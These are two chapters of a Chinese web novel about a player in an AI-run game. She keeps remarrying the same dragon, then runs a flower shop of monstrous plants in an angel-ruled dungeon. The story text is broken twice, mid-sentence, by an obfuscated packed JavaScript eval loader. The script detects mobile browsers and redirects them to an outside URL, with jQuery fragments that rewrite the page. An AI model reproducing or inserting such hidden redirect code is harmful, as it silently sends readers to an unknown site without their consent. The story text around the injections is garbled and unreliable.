《请选择你的丈夫》 3. 第 3 章 “我喜欢听话的。” “只能说不愧是妻子吧，这个回答真是毫不意外。甚至过于仁慈了些。” 他记得他是这么答的，然后他的妻子说别说蠢话了，我正在考虑离婚的事。 实在是可以理解，他第一次结婚，没什么经验，手忙脚乱下会做一堆蠢事，妻子无法忍受是很正常的事，但是那时候不太行。 “你觉得我是在征求你的意见？” 她连嘴角都是平的。 再说下去的话感觉就要死了。 所以第一次离婚了。 第二次结婚的时候，他其实有些高兴，因为妻子一眼就认出了他，即使他换了张脸，鳞片颜色也换了一遍，她依旧一眼认出来他。 可惜重逢的时间太过短暂，他跟妻子离了第二次婚。 …… 你跟一条龙结了六次婚，无论在当前周目如何随机，能做你丈夫的龙都有同一个灵魂，和无法摆脱的既视感。 你在游戏标签里，增加了一个“惊悚”。 翻找一下大家的游玩记录，开局离五次婚结六次婚的玩家只有你一个。大家的底线在奇奇怪怪的地方非常道德化，开局送的角色，有点用都会被往死里用，没有你这样想要将免费送的强力道具塞回邮箱的想法。 而且你的做法在真正的道德零里又还是太道德了些，有人刻意触发囚禁剧情，利用游戏机制，将自己变成了寡妇。 “甚至不用触发这种机制，你的丈夫不会反抗你对他的伤害。后续操作一下，你还可以直接加入人类方，走屠杀线还是黎明线都很方便。” 内测论坛上人才辈出，击穿游戏底层逻辑让AI发现一个摁死一个的恶性bug，有的玩家能发现一沓，数钱数到手软。 你永远也想象不到别人是怎么玩游戏的，正如别人也想不到你怎么能开局就差点刷出八离世家成就的。 “这游戏原来是能离婚的吗，那我累死累活卡的那些bug是什么，捏着鼻子忍耐的那些天又算什么？” “算你有耐性。” “算你命苦。” “算你……等会，这游戏，我记得初衷是让人体验永不背叛的爱情的吧？” “什么爱情？内测测的不是bug吗？” “什么爱情？内测测的不是种田玩法吗？” “什么爱情？内测测的不是战斗机制吗？” …… 当然，如果想要全收集，那么爱情线就是不得不品的一环，然后大家一看，开局的丈夫，角色定位就很有意思了。游戏最开始可能主打纯爱，但没阻止玩家心有八瓣的操作，于是有玩家向你发送了“NPC暗杀手法大全.zip”。 强大的AI演算可以让每一个人遇见的丈夫都是独一无二，连剧情开展方式都可以截然不同。但是没有关系，比AI更强大的玩家可以综合每类NPC的特性，不会遗漏每一处会被偏移的可能。 还有玩家倾情分享失忆流开局和亡夫开局，理由就是你的丈夫都能允许你离婚，那你还有什么做不到的。 “你总共玩了多长时间？”她兴致勃勃，准备拉着你携手开发这款游戏。 你答：“半个小时。” “……我没话可说了，祝开局顺利，不要被人再剧透了。” 称不上，你这半个小时里只看见你的丈夫，和零星工作人员，短暂的体验了一下被界主强制爱的后果。 说短暂的意思是怼了他一条命后，他就正常了一些，说他自己占山为王，将另一个人外的副本据为己有的事。 你再登录上去，见到的还是盘着看着很委屈的一条龙，他鳞片现在是白色。 你很喜欢他的外形，但偶尔会觉得这外形还是配上一个正常的灵魂比较好。 龙叹气：“副作用，等我调调。” “跟你结六次婚也是？” “那不是，那是我吞了其他竞争对手。”他还用庆幸的语气说幸好你的审美始终如一，都是龙，否则他不太好找人，跨越界域去找，要打很多架。 你第一任丈夫的身份还是太高了，不符合游戏开局循序渐进的探索方式。界主的身份可以让你不用任何代价就查到很多游戏背景补充资料，也是一种束缚，界主不能轻易跨域。 五百年足够这群人外学尽糟粕，不同界域之间很难全心全意信任对方，于是联合都困难。还有就是大，那些副本里，不夸张的说，就是一个世界，星体运转什么都有。 异世界的攻略者起初以为这些副本只是取了几个游戏地图，从进去就开始跑，拿了道具跑，看到有些竟然还残存着物理法则，可以测算整个星球大小时，看着地平线，从内而外，有一种平静的绝望。 那不是不完整的游戏，那是一个新世界。 而他们的世界之外，这样的新世界不计其数。 界域如此，人类世界当然也大。 考虑到游戏本身的属性和玩家意愿，你合理怀疑游戏公司构筑这么大的一个世界观，完全是为了满足所有玩家的XP，和减少先婚后爱进度里乱入的前夫。 只要玩家有需求，他们的世界观盒子可以一直叠。反正玩家的图鉴世界有上限，精力也有上限，一生都玩这一个游戏，撑爆AI演算能力，公司也认了。 那么，界主如何能短时间跨越如此大的距离，满足玩家修罗场的需求呢？ 星际传送阵。 界门。 召唤阵。 祭坛。 玩家手搓。 …… 只有想不到，没有做不到。 又全都是背景，玩家不想的话，所谓广阔的世界，也只有面前的一亩三分地。 你在查看世界背景，龙将尾巴垫在你的身下，想着应该怎么挽回你们这段摇摇欲坠的婚姻，倒也相安无事。 不过，很快，他就不用担心了，你决定下个副本。 “人类世界？”他问。 “其他界域的。” “等我伪装一下。” 他将这段旅程视为你们迟来的蜜月旅行，特意摆了一堆山清水秀也没有多少人的副本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078784|179341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你看，甚至冥婚明婚都想要安排一遍。 你横了他一眼，又是那个淡龙出来收拾残局，依据你的喜好重新安排了副本。 他挺有礼貌的：“要我一直维持这种状态吗？” “可以。”你还是很好奇，“结这么多次婚了，还不能说你的状态吗？我还挺希望自己有个稳定的丈夫的。” 他张了张嘴，很是难以启齿：“……做了一些蠢事，我早应该知道，恋爱军师不能找只有理论知识的。” “你找的军师也是界主？” 他沉重的点了点头。 “有名字吗？” 他闭口不言，满脸都是“工作抽空了我的记忆”，但不妨碍他说出自己做的蠢事来搏一个同情分。 这条龙原本是正常的，还是条工作到生无可恋满脑子这个界主要不换人当吧的龙，迫于合并的界域里其他副本之主太菜，他被工作腌入味了许久，都没成功销毁自己的副本。 “主要是人太难当了，副本运行不算什么。但是——人太难当了。” “我以前为什么会以为当人会是一种放松？” 可能脑子被工作腐蚀出了个坑吧。 所以才给自己找了两份工作，问他第二份工作是什么，他长长的一声叹息：副本攻略组长。 他确实很想死过。 后来的事你也见到了一部分，他对你一见钟情，以“哪怕我明天就要死了，我也要让她继承我的全部遗产”的态度，当机立断买了戒指包下商场单膝跪地向你求婚。 你同意了。 被工作泡坏了脑子的龙按理来说在新婚夜结束后就应该清醒的觉得自己当时太冲动，结果他是觉得自己这条龙太冲动了，却不是遗产问题上，是在自己是不是真的被你喜欢上。 他结婚了不想工作万一你觉得睡了他后突然索然无味怎么办，他是不是没告诉你结婚后他也是财产的一部分来着……不知道这龙怎么想的，反正绕着绕着就到了“她好爱我，我怎么能颓废”上，脑子一热（可能结婚后就没冷过），就紧急cue了一个恋爱军师过来。 就紧急将自己加工成了最新鲜的模样——他切了自己的时间。 你：“……” 你：“我现在觉得你也不太正常了。” 他精打细算的结果，你本以为他是维持新鲜感，不让你移情别恋上，他承认这点的同时，还不忘补上一句，“切开自己除了自己耳边有点吵外，能卖钱的次数更多了，龙应该很值钱吧。” 杀死他的一个时刻就能得到一具龙尸，以这条龙的寿命，整个游戏龙爪龙牙龙鳞龙角等等的价格都可以被你们打下来，成为分文不值的材料。 他将自己过去的时间切的足够碎，保证过往每一个瞬间的性格都能保留下来，让你随时可以体验不一样性格的丈夫。当然，他不否认自己不想被丧偶的事，更不否认存在被砍掉几个时刻都要像鬼一样缠着你，占据你每一任丈夫名额的事。 “任何杀不死我的都会让我变成更多的我。” 神经病啊！ 4. 第 4 章 你抵达了副本《秩序之城》。 请选择你的职业。 已确认职业：特殊NPC（中立）。 你的丈夫跨区域给你找到的副本，是一个在攻略者眼中较为安全的副本《秩序之城》，一个只用各司其职就是天堂的副本。 龙言简意赅：“那群天使很能装，轻易不会扯破伪装。” 你降临的区域暂且没有看到疑似天使的身影，是车辆川流不息，城市灯火通明的现代风貌。而你分配到的工作是一位花店店主。 「特殊NPC（中立）：花店店主。」 「任务：请在傍晚之前卖出一束植物。」 …… 你扫了一眼你的花店。 入目是郁郁葱葱的绿，藤蔓系植物攀附上墙面，对着门把手跃跃欲试。花架上唯一在开花的植物名字叫做球球花，它努力的舒展自己的叶片，为了补充开花所消耗的营养，叶片上生有利齿的嘴巴不时在吃着自己身旁的同事。偶尔同事被吃的恼了，根须提起花盆哐哐哐砸它，让它所有眼睛都闭上。 球球花，花如其名，是复数眼睛攒出的花。 你在“这真的有人买吗”和“花店里有没有具体定价”中徘徊了一阵，决定去翻一下抽屉。 抽屉里没有相关资料，你想了想，端起了球球花的同事，询问道：“你好，请问饲养你们的相关资料在哪？没有的话你们能口述或者写字吗？” 球球花的同事花盆被你捧着，叶片羞涩般蜷起。你透过叶片的间隙看见它的根须成团挤在花盆里，不沾水土，洁白如骨，仿佛它刺穿花盆将其当作武器痛殴吃它叶片的球球花，只是你的幻觉。 你摸了摸花盆，它根须颤了颤，伸直了几根，扎透花盆的那一瞬间收力，落在你手心的，就只剩植物健□□长的柔韧。 留在花盆里绷直的那部分，与其说是根须，不如说是骨刺。 「蚀骨花对你的好感度上升了。」 「你解锁了相关资料。」 你的花店经营模式可能是简单。蚀骨花的相关资料上没有说店主应当如何去饲养它，说的是它生命力极强，建议放在极度恶劣环境中，以免它的捕食器官过于活跃。 球球花的说明跟它如出一辙，字里行间都是“请勿喂养，喂养全责”。 你数了一下自己花店里的全部花，每一株自食其力的能力都很强大，藤蔓系在你数它们数量时还推开窗，懒洋洋的消化掉了一只路过的虫。 它飞的速度太快，藤蔓捕食的动作更快，你没能看清它是你日常见到的虫子，还是秩序之城特有的虫。 知晓这群花们不需要特殊照顾，你只用开店就好后，你先去看了一下花店后面你的住处，确定它温馨整洁，才在花店门口挂上了开店的标识，坐在花丛掩映间的沙发上等待第一位客人。 这是特殊NPC的视角。 第一位看见街角新开的花店的攻略者，发现有新店开业的第一反应并不算美妙。 纵使倒映在玻璃上的女性的身影看上去只是在烦恼店内的生意，每一处都在告诉他人，她的安全无害。 但攻略者看不见「特殊NPC（中立）：花店店主」，这是属于特殊NPC的权利。若要确定其立场…… 她没有再看那边阳光、鲜花、温馨，副本里的一切安宁都是带毒的饵，无非是代价轻重而已。 《秩序之城》是属于付出代价较轻的副本，没有欲望徘徊在街头，那时所见一切都是人间天堂，一旦有了贪欲，人总会被收割灵魂。 她将新开花店的消息传递上去，调整了一下面部肌肉，直至它能形成一个舒缓的微笑。背包里欲望止剂的数量让她拥有了弥足可贵的安定感，她准备走过去，做第一位叩响花店的攻略者。 “那是我的妻子。” 新调来的攻略组组长发过来的消息很及时，在消息界面上白底黑字又显得足够冷淡——据说他本身就是一个副本里跑出来的人类NPC，让人从同样的白底黑字里瞧见他对接受消息的人的情绪可能是他作为人类NPC的特殊。 “中立。” 这两个字的出现，意味着第一次推开花店门，危险的对象不再是那位无害的女性，可能是她所贩卖的花。 她推开了花店的门。 你听见了风铃声，垂下来的植物在第一位客人的头顶晃悠了几下，形似铃铛的部分伸出来一点蛛丝样的事物。 懒洋洋的藤蔓小狗一样朝前探了探，叶片伸长，像在嗅闻。 你的客人一无所知的询问你花店里有什么品种的花，细长的叶子已经覆盖到了她的身上，个别尖锐的，她每一次眨眼，都在与它交错。 你从沙发上站起来，端起来了一盆球球花，被蚀骨花揍得眼睛都睁不开的球球花发出了一声泣音，迫不及待的啃起自己的同事。小狗藤蔓吃痛，回身梆梆梆给它眼睛来了很多下。 球球花这次宁肯面对疾风暴雨都不肯松口。 “抱歉，这盆*福音*状态不太好，吓到你了吗？” 球球花的名字被未知力量扭曲成*福音*，你无法在他人面前说出它真正的名字。 “福音？？？” “是我养的太差了吗？” 你瞥了一眼现在叶片和眼睛并用，用尽全力去扇自己同事巴掌，顺便还找空隙进食的球球花，再瞥一眼，神情突然变化了一下的客人。 “不好意思，我刚养它没多久，要不你看下别的，我们花店里有*福音*、*福音*，还有*福音*。” 「福音：天使给予的祝福，可以被任何事物承载。」 提示姗姗来迟。 紧随其后的还有每盆*福音*的价格，你捧着的球球花价值一万灵魂碎屑。 「灵魂碎屑：灵魂破碎产生的物质。」 是价格高还是不高，你没在这里找到任何参照物，周边没有另一个出售生活用品的店铺让你估算这里的货币体系，更没有售卖同样物品的花店。 客人泄露出去的情绪告诉你，这个价格应该很低，低到人都在怀疑是否会有坑的程度。 你只是微笑，报完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078785|179341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价后就不轻易开口。 “其余的花也是？”她试探性的问。 你凝神看每株植物的价格，如实汇报。 你的客人恰好非常富有，完全可以承担买下全部植物的花费。开店第一天，历时三小时，你卖空了所有植物，开始寻找植物的种子，可惜这个经营游戏是刷新制，补充植物不需要种植，只需要等待到第二天。 甚至它不是到时间就刷新。 站在你店门前的天使很有礼貌的敲了敲门，你说“请进”后，可以清楚的看见天使低下头颅，收拢羽翼，抱着一盆球球花走了进来。 花店的门有些窄，他挤进来时蹭掉了一点羽毛。 是很典型的天使，银发金眼，洁白无瑕，仿佛刚从云端降落。他走进来一些，那些飘飞的羽毛告诉你，不是花店的门窄，是这位天使的羽翼一直在掉毛。 那些羽毛在空中似乎都在发着柔和的白光，有一枚被风送到了你的眼前，你退了一步，羽毛轻飘飘的落下，蹭到了你食指的戒指，如光一般穿过了地板。 “愿主与你同在。” 天使掉毛似乎是很正常的事。 他怀中的球球花沐浴在光辉下，远远看去，像在托着太阳。 “这是今天的福音。” “我是利奥拉，希望你能喜欢今天。” 你从利奥拉的语气听不到一点跟人接触过的影子，他的语气在尽力柔软，但不够自然。 太阳花一样的球球花被稳当的放在空档的花架上，远处的太阳近处看是一颗颗金色的眼睛，如同利奥拉一样，眼球里的情绪都在尽力柔软。 生有利齿的叶片，一片白里藏住了进食时的狰狞。 花店里的花架被各种福音填满时，你恰好记住了一群天使，每位天使看上去都掉毛严重，离去时地面上都干干净净。 他们的羽毛会不会就藏在地板下？ 你好奇，撬开了一片地板。这其实是个相当危险的动作，你只是无畏，不在意背后和眼前会出现什么。 你只是好奇，所以满足自己的好奇。 就像你在每位天使离去后，都会折腾一番他们送过来的植物一样。你好奇，就该满足。 植物有眼睛的会闭上眼睛，没有眼睛的会在你的手心里盘作一团，体型限制下不能盘作一团的，也会伸出最柔软的一截。 地板下是层层叠叠的羽毛，每一片都是柔软的光。 你打开了地板，是打开光的缺口。 它们扑出来的动作也很轻巧，只是一阵风，然后是乳白色的光带，点亮你的视野，也占据了你的所有视野。 会发生什么事？ 是死亡CG吗？ 光一点点吞没你的花店，窗外却是一片静谧的夜。 你以为这是这一周目的终局，没想到这是你碰上了精神病的征兆。 那位天使虔诚地：“愿人子斩断身上不洁的婚姻，得以沐浴我主的辉光。” 他取下你的戒指。 你的丈夫，跟你被动离了第六次婚。